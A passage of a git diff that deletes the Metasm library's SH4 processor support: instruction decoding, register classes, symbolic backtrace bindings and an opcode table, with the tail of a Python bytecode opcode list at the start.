'LOAD_CLOSURE', 135 #/* Load free variable from closure */ - addop 'LOAD_DEREF', 136 #/* Load and dereference from closure cell */ - addop 'STORE_DEREF', 137 #/* Store into cell */ - - #/* The next 3 opcodes must be contiguous and satisfy (CALL_FUNCTION_VAR - CALL_FUNCTION) & 3 == 1 */ - addop 'CALL_FUNCTION_VAR', 140, :u8, :u8, :setip #/* #args + (#kwargs<<8) */ - addop 'CALL_FUNCTION_KW', 141, :u8, :u8, :setip #/* #args + (#kwargs<<8) */ - addop 'CALL_FUNCTION_VAR_KW', 142, :u8, :u8, :setip #/* #args + (#kwargs<<8) */ - - addop 'SETUP_WITH', 143 - - #/* Support for opargs more than 16 bits long */ - addop 'EXTENDED_ARG', 145 - - addop 'SET_ADD', 146 - addop 'MAP_ADD', 147 - end -end -end diff --git a/lib/metasm/metasm/cpu/sh4.rb b/lib/metasm/metasm/cpu/sh4.rb deleted file mode 100644 index 4be5b1fa2d..0000000000 --- a/lib/metasm/metasm/cpu/sh4.rb +++ /dev/null @@ -1,8 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' -require 'metasm/cpu/sh4/decode' diff --git a/lib/metasm/metasm/cpu/sh4/decode.rb b/lib/metasm/metasm/cpu/sh4/decode.rb deleted file mode 100644 index 7e0629ddcf..0000000000 --- a/lib/metasm/metasm/cpu/sh4/decode.rb +++ /dev/null @@ -1,367 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2010 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/cpu/sh4/opcodes' -require 'metasm/decode' - -module Metasm -class Sh4 - def build_opcode_bin_mask(op) - op.bin_mask = 0 - op.args.each { |f| - op.bin_mask |= @fields_mask[f] << @fields_shift[f] - } - op.bin_mask ^= 0xffff - end - - def build_bin_lookaside - lookaside = (0..0xf).inject({}) { |h, i| h.update i => [] } - opcode_list.each { |op| - build_opcode_bin_mask op - lookaside[(op.bin >> 12) & 0xf] << op - } - lookaside - end - - # depending on transfert size mode (sz flag), fmov instructions manipulate single ou double precision values - # instruction aliasing appears when sz is not handled - def transfer_size_mode(list) - return list if list.find { |op| not op.name.include? 'mov' } - @transfersz == 0 ? list.find_all { |op| op.name.include? 'fmov.s' } : list.reject { |op| op.name.include? 'fmov.s' } - end - - # when pr flag is set, floating point instructions are executed as double-precision operations - # thus register pair is used (DRn registers) - def precision_mode(list) - @fpprecision == 0 ? list.reject { |op| op.args.include? :drn } : list.find_all { |op| op.args.include? :frn } - end - - def decode_findopcode(edata) - return if edata.ptr >= edata.length - - di = DecodedInstruction.new(self) - val = edata.decode_imm(:u16, @endianness) - edata.ptr -= 2 - op = @bin_lookaside[(val >> 12) & 0xf].find_all { |opcode| (val & opcode.bin_mask) == opcode.bin } - - op = transfer_size_mode(op) if op.length == 2 - op = precision_mode(op) if op.length == 2 - - if op.length > 1 - puts "current value: #{Expression[val]}, ambiguous matches:", - op.map { |opcode| " #{opcode.name} - #{opcode.args.inspect} - #{Expression[opcode.bin]} - #{Expression[opcode.bin_mask]}" } - #raise "Sh4 - Internal error" - end - - if not op.empty? - di.opcode = op.first - di - end - end - - def decode_instr_op(edata, di) - before_ptr = edata.ptr - op = di.opcode - di.instruction.opname = op.name - di.opcode.props[:memsz] = (op.name =~ /\.l|mova/ ? 32 : (op.name =~ /\.w/ ? 16 : 8)) - val = edata.decode_imm(:u16, @endianness) - - field_val = lambda{ |f| - r = (val >> @fields_shift[f]) & @fields_mask[f] - case f - when :@rm, :@rn ,:@_rm, :@_rn, :@rm_, :@rn_; GPR.new(r) - when :@disppc - # The effective address is formed by calculating PC+4, - # clearing the lowest 2 bits, and adding the zero-extended 8-bit immediate i - # multiplied by 4 (32-bit)/ 2 (16-bit) / 1 (8-bit). - curaddr = di.address+4 - curaddr = (curaddr & 0xffff_fffc) if di.opcode.props[:memsz] == 32 - curaddr+r*(di.opcode.props[:memsz]/8) - when :@disprm, :@dispr0rn; (r & 0xf) * (di.opcode.props[:memsz]/8) - when :@disprmrn; (r & 0xf) * 4 - when :@dispgbr; Expression.make_signed(r, 16) - when :disp8; di.address+4+2*Expression.make_signed(r, 8) - when :disp12; di.address+4+2*Expression.make_signed(r, 12) - when :s8; Expression.make_signed(r, 8) - else r - end - } - - op.args.each { |a| - di.instruction.args << case a - when :r0; GPR.new 0 - when :rm, :rn; GPR.new field_val[a] - when :rm_bank, :rn_bank; RBANK.new field_val[a] - when :drm, :drn; DR.new field_val[a] - when :frm, :frn; FR.new field_val[a] - when :xdm, :xdn; XDR.new field_val[a] - when :fvm, :fvn; FVR.new field_val[a] - when :vbr; VBR.new - when :gbr; GBR.new - when :sr; SR.new - when :ssr; SSR.new - when :spc; SPC.new - when :sgr; SGR.new - when :dbr; DBR.new - when :mach; MACH.new - when :macl; MACL.new - when :pr; PR.new - when :fpul; FPUL.new - when :fpscr; FPSCR.new - when :pc; PC.new - - when :@rm, :@rn, :@disppc - Memref.new(field_val[a], nil) - when :@_rm, :@_rn - Memref.new(field_val[a], nil, :pre) - when :@rm_, :@rn_ - Memref.new(field_val[a], nil, :post) - when :@r0rm - Memref.new(GPR.new(0), GPR.new(field_val[:rm])) - when :@r0rn, :@dispr0rn - Memref.new(GPR.new(0), GPR.new(field_val[:rn])) - when :@disprm - Memref.new(field_val[a], GPR.new(field_val[:rm])) - when :@disprmrn - Memref.new(field_val[a], GPR.new(field_val[:rn])) - - when :disppc; Expression[field_val[:@disppc]] - when :s8, :disp8, :disp12; Expression[field_val[a]] - when :i16, :i8, :i5; Expression[field_val[a]] - - else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" - end - } - - di.bin_length += edata.ptr - before_ptr - - return if edata.ptr > edata.length - - di - end - - def disassembler_default_func - df = DecodedFunction.new - df.backtrace_binding = {} - (0..7 ).each { |i| r = "r#{i}".to_sym ; df.backtrace_binding[r] = Expression::Unknown } - (8..15).each { |i| r = "r#{i}".to_sym ; df.backtrace_binding[r] = Expression[r] } - df.backtracked_for = [BacktraceTrace.new(Expression[:pr], :default, Expression[:pr], :x)] - df.btfor_callback = lambda { |dasm, btfor, funcaddr, calladdr| - if funcaddr != :default - btfor - elsif di = dasm.decoded[calladdr] and di.opcode.props[:saveip] - btfor - else - [] - end - } - df - end - - def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs) - retaddrlist.map! { |retaddr| dasm.decoded[retaddr] ? dasm.decoded[retaddr].block.list.last.address : retaddr } if retaddrlist - b = f.backtrace_binding - - bt_val = lambda { |r| - next if not retaddrlist - bt = [] - b[r] = Expression::Unknown # break recursive dep - retaddrlist.each { |retaddr| - bt |= dasm.backtrace(Expression[r], retaddr, - :include_start => true, :snapshot_addr => faddr, :origin => retaddr) - } - b[r] = ((bt.length == 1) ? bt.first : Expression::Unknown) - } - wantregs = GPR::Sym if wantregs.empty? - wantregs.map { |r| r.to_sym }.each(&bt_val) - end - - - # interprets a condition code (in an opcode name) as an expression - def decode_cmp_expr(di, a0, a1) - case di.opcode.name - when 'cmp/eq'; Expression[a0, :'==', a1] - when 'cmp/ge'; Expression[a0, :'>=', a1] # signed - when 'cmp/gt'; Expression[a0, :'>', a1] # signed - when 'cmp/hi'; Expression[a0, :'>', a1] # unsigned - when 'cmp/hs'; Expression[a0, :'>=', a1] # unsigned - end - end - - def decode_cmp_cst(di, a0) - case di.opcode.name - when 'cmp/pl'; Expression[a0, :'>', 0] # signed - when 'cmp/pz'; Expression[a0, :'>=', 0] # signed - end - end - - def backtrace_binding - @backtrace_binding ||= init_backtrace_binding - end - - def opsz(di) - ret = @size - ret = 8 if di and di.opcode.name =~ /\.b/ - ret = 16 if di and di.opcode.name =~ /\.w/ - ret - end - - def init_backtrace_binding - @backtrace_binding ||= {} - - mask = lambda { |di| (1 << opsz(di)) - 1 } # 32bits => 0xffff_ffff - - opcode_list.map { |ol| ol.name }.uniq.each { |op| - @backtrace_binding[op] ||= case op - when 'ldc', 'ldc.l', 'lds', 'lds.l', 'stc', 'stc.l', 'mov', 'mov.l', 'sts', 'sts.l' - lambda { |di, a0, a1| { a1 => Expression[a0] }} - when 'stc.w', 'stc.b', 'mov.w', 'mov.b' - lambda { |di, a0, a1| { a1 => Expression[a0, :&, mask[di]] }} - when 'movt'; lambda { |di, a0| { a0 => :t_bit }} - when 'mova'; lambda { |di, a0, a1| { a1 => Expression[a0] }} - when 'exts.b', 'exts.w', 'extu.w' - lambda { |di, a0, a1| { a1 => Expression[a0, :&, mask[di]] }} - when 'cmp/eq', 'cmp/ge', 'cmp/ge', 'cmp/gt', 'cmp/hi', 'cmp/hs' - lambda { |di, a0, a1| { :t_bit => decode_cmp_expr(di, a0, a1) }} - when 'cmp/pl', 'cmp/pz' - lambda { |di, a0| { :t_bit => decode_cmp_cst(di, a0) }} - when 'tst'; lambda { |di, a0, a1| { :t_bit => Expression[[a0, :&, mask[di]], :==, [a1, :&, mask[di]]] }} - when 'rte'; lambda { |di| { :pc => :spc , :sr => :ssr }} - when 'rts'; lambda { |di| { :pc => :pr }} - when 'sets'; lambda { |di| { :s_bit => 1 }} - when 'sett'; lambda { |di| { :t_bit => 1 }} - when 'clrs'; lambda { |di| { :s_bit => 0 }} - when 'clrt'; lambda { |di| { :t_bit => 0 }} - when 'clrmac'; lambda { |di| { :macl => 0, :mach => 0 }} - when 'jmp'; lambda { |di, a0| { :pc => a0 }} - when 'jsr', 'bsr', 'bsrf'; lambda { |di, a0| { :pc => Expression[a0], :pr => Expression[di.address, :+, 2*2] }} - when 'dt'; lambda { |di, a0| - res = Expression[a0, :-, 1] - { :a0 => res, :t_bit => Expression[res, :==, 0] } - } - when 'add' ; lambda { |di, a0, a1| { a1 => Expression[[a0, :+, a1], :&, 0xffff_ffff] }} - when 'addc' ; lambda { |di, a0, a1| - res = Expression[[a0, :&, mask[di]], :+, [[a1, :&, mask[di]], :+, :t_bit]] - { a1 => Expression[a0, :+, [a1, :+, :t_bit]], :t_bit => Expression[res, :>, mask[di]] } - } - when 'addv' ; lambda { |di, a0, a1| - res = Expression[[a0, :&, mask[di]], :+, [[a1, :&, mask[di]]]] - { a1 => Expression[a0, :+, [a1, :+, :t_bit]], :t_bit => Expression[res, :>, mask[di]] } - } - when 'shll16', 'shll8', 'shll2', 'shll' ; lambda { |di, a0| - shift = { 'shll16' => 16, 'shll8' => 8, 'shll2' => 2, 'shll' => 1 }[op] - { a0 => Expression[[a0, :<<, shift], :&, 0xffff] } - } - when 'shlr16', 'shlr8', 'shlr2','shlr'; lambda { |di, a0| - shift = { 'shlr16' => 16, 'shlr8' => 8, 'shlr2' => 2, 'shlr' => 1 }[op] - { a0 => Expression[a0, :>>, shift] } - } - when 'rotcl'; lambda { |di, a0| { a0 => Expression[[a0, :<<, 1], :|, :t_bit], :t_bit => Expression[a0, :>>, [opsz[di], :-, 1]] }} - when 'rotcr'; lambda { |di, a0| { a0 => Expression[[a0, :>>, 1], :|, :t_bit], :t_bit => Expression[a0, :&, 1] }} - when 'rotl'; lambda { |di, a0| - shift_bit = [a0, :<<, [opsz[di], :-, 1]] - { a0 => Expression[[a0, :<<, 1], :|, shift_bit], :t_bit => shift_bit } - } - when 'rotr'; lambda { |di, a0| - shift_bit = [a0, :>>, [opsz[di], :-, 1]] - { a0 => Expression[[a0, :>>, 1], :|, shift_bit], :t_bit => shift_bit } - } - when 'shal'; lambda { |di, a0| - shift_bit = [a0, :<<, [opsz[di], :-, 1]] - { a0 => Expression[a0, :<<, 1], :t_bit => shift_bit } - } - when 'shar'; lambda { |di, a0| - shift_bit = Expression[a0, :&, 1] - { a0 => Expression[a0, :>>, 1], :t_bit => shift_bit } - } - when 'sub'; lambda { |di, a0, a1| { a1 => Expression[[a1, :-, a0], :&, 0xffff_ffff] }} - when 'subc'; lambda { |di, a0, a1| { a1 => Expression[a1, :-, [a0, :-, :t_bit]] }} - when 'and', 'and.b'; lambda { |di, a0, a1| { a1 => Expression[[a0, :&, mask[di]], :|, [[a1, :&, mask[di]]]] }} - when 'or', 'or.b'; lambda { |di, a0, a1| { a1 => Expression[[a0, :|, mask[di]], :|, [[a1, :&, mask[di]]]] }} - when 'xor', 'xor.b'; lambda { |di, a0, a1| { a1 => Expression[[a0, :|, mask[di]], :^, [[a1, :&, mask[di]]]] }} - when 'neg' ; lambda { |di, a0, a1| { a1 => Expression[mask[di], :-, a0] }} - when 'negc' ; lambda { |di, a0, a1| { a1 => Expression[[[mask[di], :-, a0], :-, :t_bit], :&, mask[di]] }} - when 'not'; lambda { |di, a0, a1| { a1 => Expression[a0, :^, mask[di]] }} - when 'nop'; lambda { |*a| {} } - when /^b/; lambda { |*a| {} } # branches - end - } - - @backtrace_binding - end - - def get_backtrace_binding(di) - a = di.instruction.args.map { |arg| - case arg - when GPR, XFR, XDR, FVR, DR, FR, XMTRX; arg.symbolic - when MACH, MACL, PR, FPUL, PC, FPSCR; arg.symbolic - when SR, SSR, SPC, GBR, VBR, SGR, DBR; arg.symbolic - when Memref; arg.symbolic(di.address, di.opcode.props[:memsz]/8) - else arg - end - } - - if binding = backtrace_binding[di.opcode.basename] - bd = binding[di, *a] || {} - di.instruction.args.grep(Memref).each { |m| - next unless r = m.base and r.kind_of?(GPR) - r = r.symbolic - case m.action - when :post - bd[r] ||= Expression[r, :+, di.opcode.props[:memsz]/8] - when :pre - bd[r] ||= Expression[r, :-, di.opcode.props[:memsz]/8] - end - } - bd - else - puts "unhandled instruction to backtrace: #{di}" if $VERBOSE - {:incomplete_binding => Expression[1]} - end - end - - def get_xrefs_x(dasm, di) - return [] if not di.opcode.props[:setip] - - val = case di.instruction.opname - when 'rts'; :pr - else di.instruction.args.last - end - - val = case val - when Reg; val.symbolic - when Memref; arg.symbolic(di.address, 4) - else val - end - - val = case di.instruction.opname - when 'braf', 'bsrf'; Expression[[di.address, :+, 4], :+, val] - else val - end - - [Expression[val]] - end - - def backtrace_is_function_return(expr, di=nil) - expr.reduce_rec == :pr - end - - def delay_slot(di=nil) - (di and di.opcode.props[:delay_slot]) ? 1 : 0 - end - - def replace_instr_arg_immediate(i, old, new) - i.args.map! { |a| - case a - when Expression; a == old ? new : Expression[a.bind(old => new).reduce] - when Memref - a.base = (a.base == old ? new : Expression[a.base.bind(old => new).reduce]) if a.base.kind_of?(Expression) - a - else a - end - } - end -end -end diff --git a/lib/metasm/metasm/cpu/sh4/main.rb b/lib/metasm/metasm/cpu/sh4/main.rb deleted file mode 100644 index 46ee31b242..0000000000 --- a/lib/metasm/metasm/cpu/sh4/main.rb +++ /dev/null @@ -1,301 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2010 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/main' - -module Metasm - -class Sh4 < CPU - def initialize(e = :little, transfersz = 0, fpprecision = 0) - super() - @endianness = e - - # transfer size mode - # When SZ = 1 and big endian mode is selected, FMOV can - # be used for double-precision floating-point data load or - # store operations. In little endian mode, two 32-bit data size - # moves must be executed, with SZ = 0, to load or store a - # double-precision floating-point number. - transfersz = 0 if @endianness == :little - @transfersz = transfersz - - # PR = 0 : Floating point instructions are executed as single - # precision operations. - # PR = 1 : Floating point instructions are executed as double- - # precision operations (the result of instructions for - # which double-precision is not supported is undefined). - # Setting [transfersz = fpprecision = 1] is reserved. - # FPU operations are undefined in this mode. - @fpprecision = fpprecision - - @size = 32 - end - - class Reg - include Renderable - - def ==(o) - o.class == self.class and (not respond_to?(:i) or o.i == i) - end - end - - # general purpose reg - class GPR < Reg - attr_accessor :i - - def initialize(i); @i = i end - Sym = (0..15).map { |i| "r#{i}".to_sym } - - def symbolic ; Sym[@i] end - - def render ; ["r#@i"] end - end - - class RBANK < Reg - attr_accessor :i - - def initialize(i); @i = i end - Sym = (0..7).map { |i| "r#{i}_bank".to_sym } - - def symbolic ; Sym[@i] end - - def render ; ["r#{@i}_bank"] end - end - - # floatting-point registers - class FR < Reg - attr_accessor :i - - def initialize(i); @i = i end - Sym = (0..15).map { |i| "fr#{i}".to_sym } - - def symbolic ; Sym[@i] end - - def render ; ["fr#@i"] end - end - - # DR registers: double-precision floating-point registers - # DR0 = {FR0, FR1} - # DR2 = {FR2, FR3} - # DR4 = {FR4, FR5} - # DR6 = {FR6, FR7} - # DR8 = {FR8, FR9} - # DR10 = {FR10, FR11} - # DR12 = {FR12, FR13} - # DR14 = {FR14, FR15} - class DR < Reg - attr_accessor :i - - def initialize(i); @i = i end - Sym = (0..7).map { |i| "dr#{i*2}".to_sym } - - def symbolic ; Sym[@i/2] end - - def render ; ["dr#@i"] end - end - - # Single-precision floating-point vector registers - # FV0 = {FR0, FR1, FR2, FR3} - # FV4 = {FR4, FR5, FR6, FR7}, - # FV8 = {FR8, FR9, FR10, FR11} - # FV12 = {FR12, FR13, FR14, FR15} - class FVR < Reg - attr_accessor :i - - def initialize(i); @i = i end - Sym = (0..3).map { |i| "fv#{i*4}".to_sym } - - def symbolic ; Sym[@i/4] end - - def render ; ["fv#@i"] end - end - - # Single-precision floating-point extended registers - class XFR < Reg - attr_accessor :i - - def initialize(i); @i = i end - Sym = (0..15).map { |i| "xf#{i}".to_sym } - - def symbolic ; Sym[@i] end - - def render ; ["xf#@i"] end - end - - # XD registers: single-precision floating-point vector registers - # XD0 = {XF0, XF1} - # XD2 = {XF2, XF3} - # XD4 = {XF4, XF5} - # XD6 = {XF6, XF7} - # XD8 = {XF8, XF9} - # XD10 = {XF10, XF11} - # XD12 = {XF12, XF13} - # XD14 = {XF14, XF15} - class XDR < Reg - attr_accessor :i - - def initialize(i); @i = i end - Sym = (0..7).map { |i| "xd#{i*2}".to_sym } - - def symbolic ; Sym[@i/2] end - - def render ; ["xd#@i"] end - end - - # Single-precision floating-point extended register matrix - class XMTRX < Reg - def symbolic ; :xmtrx ; end - def render ; ['xmtrx'] ; end - end - - - # Multiply-and-accumulate register high - class MACH < Reg - - def symbolic ; :mach end - def render ; ['mach'] end - end - - # Multiply-and-accumulate register low - class MACL < Reg - - def symbolic ; :macl end - def render ; ['macl'] end - end - - # Procedure register - class PR < Reg - - def symbolic ; :pr end - def render ; ['pr'] end - end - - # Floating-point communication register - class FPUL < Reg - - def symbolic ; :fpul end - def render ; ['fpul'] end - end - - # Program counter - class PC < Reg - - def symbolic ; :pc end - def render ; ['pc'] end - end - - # Floating-point status/control register - class FPSCR < Reg - - def symbolic ; :fpscr end - def render ; ['fpscr'] end - end - - #----------------------- Control registers ----------------------------- - - # Status register - class SR < Reg - - def symbolic ; :sr end - def render ; ['sr'] end - end - - # Saved status register - class SSR < Reg - - def symbolic ; :ssr end - def render ; ['ssr'] end - end - - # Saved program counter - class SPC < Reg - - def symbolic ; :spc end - def render ; ['spc'] end - end - - # Global base register - class GBR < Reg - - def symbolic ; :spc end - def render ; ['gbr'] end - end - - # Vector base register - class VBR < Reg - - def symbolic ; :spc end - def render ; ['vbr'] end - end - - # Saved general register - class SGR < Reg - - def symbolic ; :sgr end - def render ; ['sgr'] end - end - - # Debug base register - class DBR < Reg - - def symbolic ; :dbr end - def render ; ['dbr'] end - end - - class Memref - # action: pre/post (inc/dec)rement - attr_accessor :base, :disp, :action - - def initialize(base, offset, action = nil) - base = Expression[base] if base.kind_of? Integer - @base, @disp, @action = base, offset, action - end - - def symbolic(orig=nil, sz=32) - b = @base - b = b.symbolic if b.kind_of? Reg - - b = Expression[b, :-, sz/8] if @action == :pre - - if disp - o = @disp - o = o.symbolic if o.kind_of? Reg - e = Expression[b, :+, o].reduce - else - e = Expression[b].reduce - end - - Indirection[e, sz, orig] - end - - include Renderable - - def render - if @disp - #['@(', @base, ',', @disp, ')'] - ['[', @base, '+', @disp, ']'] - else - case @action - when :pre then ['[--', @base, ']'] - when :post then ['[', @base, '++]'] - else ['[', @base, ']'] - #when :pre then ['@-', @base] - #when :post then ['@', @base, '+'] - #else ['@', @base] - end - end - end - - end - - def init_opcode_list - init - end - - def dbg_register_list - @dbg_register_list ||= GPR::Sym - end -end -end diff --git a/lib/metasm/metasm/cpu/sh4/opcodes.rb b/lib/metasm/metasm/cpu/sh4/opcodes.rb deleted file mode 100644 index 6b4913b49d..0000000000 --- a/lib/metasm/metasm/cpu/sh4/opcodes.rb +++ /dev/null @@ -1,380 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2010 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/cpu/sh4/main' - -module Metasm -class Sh4 - def addop(name, bin, *args) - o = Opcode.new name, bin - - args.each { |a| - o.args << a if @fields_mask[a] - o.props[a] = true if @valid_props[a] - o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a] - } - - @opcode_list << o - end - - def init - @opcode_list = [] - - # :@rm_ is used for @Rm+ - # :@_rn is used for @-Rn - # :@r0rm is used for @(R0, Rm) (same for r0rn) - # :@r0gbr is used for @(R0, GBR) - @fields_mask = { - :rm => 0xf, :rn => 0xf, - :@rm => 0xf, :@rn => 0xf, - :@rm_ => 0xf, :@rn_ => 0xf, - :@_rn => 0xf, - - :frm => 0xf, :frn => 0xf, - :xdm => 0x7, :xdn => 0x7, - :drm => 0x7, :drn => 0x7, - :fvm => 0x3, :fvn => 0x3, - - :@r0rm => 0xf, :@r0rn => 0xf, - :rm_bank => 0x7, :rn_bank => 0x7, - - :@disprm => 0xff, :@dispr0rn => 0xff, :@disprmrn => 0xf0f, - :@dispgbr => 0xff, :@disppc => 0xff, - :disp8 => 0xff, :disp12 => 0xfff, :disppc => 0xff, - - :i8 => 0xff, # zero-extendded 8-bit immediate - :s8 => 0xff, # 8-bit displacement s is sign-extended, doubled and added to PC+4 - } - - @fields_shift = { - :rm => 4, :rn => 8, - :@rm => 4, :@rn => 8, - :@rm_ => 4, :@rn_ => 8, - :@_rn => 8, - - :frm => 4, :frn => 8, - :xdm => 5, :xdn => 9, - :drm => 5, :drn => 9, - :fvm => 8, :fvn => 10, - - :@r0rm => 4, :@r0rn => 8, - :rm_bank => 7, :rn_bank => 4, - - :@disprm => 0, :@dispr0rn => 0, :@disprmrn => 0, - :@dispgbr => 0, :@disppc => 0, - :disp8 => 0, :disp12 => 0, :disppc => 0, - - :i8 => 0, - :s8 => 0, - } - - # implicit operands - [:vbr, :gbr, :sr, :ssr, :spc, :sgr, :dbr, :mach, :macl, :pr, :fpul, :fpscr, :dbr, :pc, :r0].each { |a| @fields_mask[a] = @fields_shift[a] = 0 } - - @valid_props[:delay_slot] = true - - addop 'add', 0b0011 << 12 | 0b1100, :rm, :rn - addop 'add', 0b0111 << 12, :s8, :rn - addop 'addc', 0b0011 << 12 | 0b1110, :rm, :rn - addop 'addv', 0b0011 << 12 | 0b1111, :rm, :rn - - addop 'and', 0b0010 << 12 | 0b1001, :rm, :rn - addop 'and', 0b11001001 << 8, :i8, :r0 - addop 'and.b', 0b11001101 << 8, :i8, :@r0gbr - - addop 'bf', 0b10001011 << 8, :disp8, :setip - addop 'bf/s', 0b10001111 << 8, :disp8, :setip, :delay_slot - addop 'bra', 0b1010 << 12, :disp12, :setip, :stopexec, :delay_slot - addop 'braf', 0b0000 << 12 | 0b00100011, :rn, :setip, :stopexec, :delay_slot - addop 'brk', 0b0000000000111011, :stopexec # causes a pre-execution BREAK exception - addop 'bsr', 0b1011 << 12, :disp12, :setip, :saveip, :stopexec, :delay_slot - addop 'bsrf', 0b0000 << 12 | 0b00000011, :rn, :setip, :saveip, :stopexec, :delay_slot - addop 'bt', 0b10001001 << 8, :disp8, :setip - addop 'bt/s', 0b10001101 << 8, :disp8, :setip, :delay_slot - - addop 'clrmac', 0b0000000000101000 - addop 'clrs', 0b0000000001001000 - addop 'clrt', 0b0000000000001000 - - addop 'cmp/eq', 0b0011 << 12 | 0b0000, :rm, :rn - addop 'cmp/eq', 0b10001000 << 8, :s8, :r0 - addop 'cmp/ge', 0b0011 << 12 | 0b0011, :rm, :rn - addop 'cmp/gt', 0b0011 << 12 | 0b0111, :rm, :rn - addop 'cmp/hi', 0b0011 << 12 | 0b0110, :rm, :rn - addop 'cmp/hs', 0b0011 << 12 | 0b0010, :rm, :rn - addop 'cmp/pl', 0b0100 << 12 | 0b00010101, :rn - addop 'cmp/pz', 0b0100 << 12 | 0b00010001, :rn - addop 'cmp/str', 0b0010 << 12 | 0b1100, :rm, :rn - - addop 'div0s', 0b0010 << 12 | 0b0111, :rm, :rn - addop 'div0u', 0b0000000000011001 - addop 'div1', 0b0011 << 12 | 0b0100, :rm, :rn - - addop 'dmuls.l', 0b0011 << 12 | 0b1101, :rm, :rn - addop 'dmulu.l', 0b0011 << 12 | 0b0101, :rm, :rn - - addop 'dt', 0b0100 << 12 | 0b00010000, :rn - - addop 'exts.b', 0b0110 << 12 | 0b1110, :rm, :rn - addop 'exts.w', 0b0110 << 12 | 0b1111, :rm, :rn - addop 'extu.b', 0b0110 << 12 | 0b1100, :rm, :rn - addop 'extu.w', 0b0110 << 12 | 0b1101, :rm, :rn - - # fpu instructions - addop 'fabs', 0b1111 << 12 | 0b001011101, :drn - addop 'fabs', 0b1111 << 12 | 0b01011101, :frn - - addop 'fadd', 0b1111 << 12 | 0b0 << 8 | 0b00000, :drm, :drn - addop 'fadd', 0b1111 << 12 | 0b0000, :frm, :frn - - addop 'fcmp/eq', 0b1111 << 12 | 0b0 << 8 | 0b00100, :drm, :drn - addop 'fcmp/eq', 0b1111 << 12 | 0b0100, :frm, :frn - - addop 'fcmp/gt', 0b1111 << 12 | 0b0 << 8 | 0b00101, :drm, :drn - addop 'fcmp/gt', 0b1111 << 12 | 0b0101, :frm, :frn - - addop 'fcnvds', 0b1111 << 12 | 0b010111101, :drn, :fpul - addop 'fcnvsd', 0b1111 << 12 | 0b010101101, :fpul, :drn - - addop 'fdiv', 0b1111 << 12 | 0b0 << 8 | 0b00011, :drm, :drn - addop 'fdiv', 0b1111 << 12 | 0b0011, :frm, :frn - addop 'fipr', 0b1111 << 12 | 0b11101101, :fvm, :fvn - - addop 'flds', 0b1111 << 12 | 0b00011101, :frn, :fpul - addop 'fldi0', 0b1111 << 12 | 0b10001101, :frn - addop 'fldi1', 0b1111 << 12 | 0b10011101, :frn - - addop 'float', 0b1111 << 12 | 0b000101101, :fpul, :drn - addop 'float', 0b1111 << 12 | 0b00101101, :fpul, :frn - - addop 'fmac', 0b1111 << 12 | 0b1110, :fr0, :frm, :frn - - addop 'fmov', 0b1111 << 12 | 0b0 << 8 | 0b01100, :drm, :drn - addop 'fmov', 0b1111 << 12 | 0b1 << 8 | 0b01100, :drm, :xdn - addop 'fmov', 0b1111 << 12 | 0b01010, :drm, :@rn - addop 'fmov', 0b1111 << 12 | 0b01011, :drm, :@_rn - addop 'fmov', 0b1111 << 12 | 0b00111, :drm, :@r0rn - - addop 'fmov.s', 0b1111 << 12 | 0b1100, :frm, :frn - addop 'fmov.s', 0b1111 << 12 | 0b1010, :frm, :@rn - addop 'fmov.s', 0b1111 << 12 | 0b1011, :frm, :@_rn - addop 'fmov.s', 0b1111 << 12 | 0b0111, :frm, :@r0rn - - addop 'fmov', 0b1111 << 12 | 0b0 << 8 | 0b11100, :xdm, :drn - addop 'fmov', 0b1111 << 12 | 0b1 << 8 | 0b11100, :xdm, :xdn - addop 'fmov', 0b1111 << 12 | 0b11010, :xdm, :@rn - addop 'fmov', 0b1111 << 12 | 0b11011, :xdm, :@_rn - addop 'fmov', 0b1111 << 12 | 0b10111, :xdm, :@r0rn - - addop 'fmov', 0b1111 << 12 | 0b0 << 8 | 0b1000, :@rm, :drn - addop 'fmov', 0b1111 << 12 | 0b0 << 8 | 0b1001, :@rm_, :drn - addop 'fmov', 0b1111 << 12 | 0b0 << 8 | 0b0110, :@r0rm, :drn - - addop 'fmov.s', 0b1111 << 12 | 0b1000, :@rm, :frn - addop 'fmov.s', 0b1111 << 12 | 0b1001, :@rm_, :frn - addop 'fmov.s', 0b1111 << 12 | 0b0110, :@r0rm, :frn - - addop 'fmov', 0b1111 << 12 | 0b1 << 8 | 0b1000, :@rm, :xdn - addop 'fmov', 0b1111 << 12 | 0b1 << 8 | 0b1001, :@rm_, :xdn - addop 'fmov', 0b1111 << 12 | 0b1 << 8 | 0b0110, :@r0rm, :xdn - - addop 'fmul', 0b1111 << 12 | 0b0 << 8 | 0b00010, :drm, :drn - addop 'fmul', 0b1111 << 12 | 0b0010, :frm, :frn - - addop 'fneg', 0b1111 << 12 | 0b001001101, :drn - addop 'fneg', 0b1111 << 12 | 0b01001101, :frn - - addop 'frchg', 0b1111101111111101 - addop 'fschg', 0b1111001111111101 - - addop 'fsqrt', 0b1111 << 12 | 0b001101101, :drn - addop 'fsqrt', 0b1111 << 12 | 0b01101101, :frn - addop 'fsts', 0b1111 << 12 | 0b00001101, :fpul, :frn - - addop 'fsub', 0b1111 << 12 | 0b0 << 8 | 0b00001, :@drm, :drn - addop 'fsub', 0b1111 << 12 | 0b0001, :frm, :frn - - addop 'ftrc', 0b1111 << 12 | 0b000111101, :drn, :fpul - addop 'ftrc', 0b1111 << 12 | 0b00111101, :frn, :fpul - addop 'ftrv', 0b1111 << 12 | 0b0111111101, :xmtrx, :fvn - - addop 'jmp', 0b0100 << 12 | 0b00101011, :rn, :setip, :stopexec, :delay_slot - addop 'jsr', 0b0100 << 12 | 0b00001011, :rn, :setip, :saveip, :stopexec, :delay_slot - - addop 'ldc', 0b0100 << 12 | 0b00011110, :rn, :gbr - addop 'ldc', 0b0100 << 12 | 0b00001110, :rn, :sr # privileged instruction - addop 'ldc', 0b0100 << 12 | 0b00101110, 